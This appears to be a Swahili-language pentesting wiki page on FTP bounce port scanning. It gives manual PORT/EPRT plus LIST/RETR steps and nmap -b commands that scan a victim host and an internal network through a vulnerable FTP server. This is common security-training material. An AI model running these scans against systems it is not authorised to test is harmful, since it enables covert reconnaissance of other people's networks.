# FTP Bounce attack - Scan

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## FTP Bounce - Scanning

### Manual

1. Unganisha na FTP iliyo hatarini
2. Tumia **`PORT`** au **`EPRT`** (lakini moja tu kati yao) ili kuanzisha muunganisho na _\<IP:Port>_ unayotaka kuskan:

`PORT 172,32,80,80,0,8080`\
`EPRT |2|172.32.80.80|8080|`

3. Tumia **`LIST`** (hii itatuma tu kwa _\<IP:Port>_ iliyounganishwa orodha ya faili za sasa katika folda ya FTP) na angalia majibu yanayowezekana: `150 File status okay` (Hii ina maana kwamba bandari iko wazi) au `425 No connection established` (Hii ina maana kwamba bandari imefungwa)
1. Badala ya `LIST` unaweza pia kutumia **`RETR /file/in/ftp`** na kutafuta majibu yanayofanana ya `Open/Close`.

Mfano Ukitumia **PORT** (bandari 8080 ya 172.32.80.80 iko wazi na bandari 7777 imefungwa):

![](<../../images/image (241).png>)

Mfano sawa ukitumia **`EPRT`** (uthibitisho umeachwa nje katika picha):

![](<../../images/image (539).png>)

Bandari wazi ukitumia `EPRT` badala ya `LIST` (mazingira tofauti)

![](<../../images/image (875).png>)

### **nmap**
```bash
nmap -b <name>:<pass>@<ftp_server> <victim>
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
```
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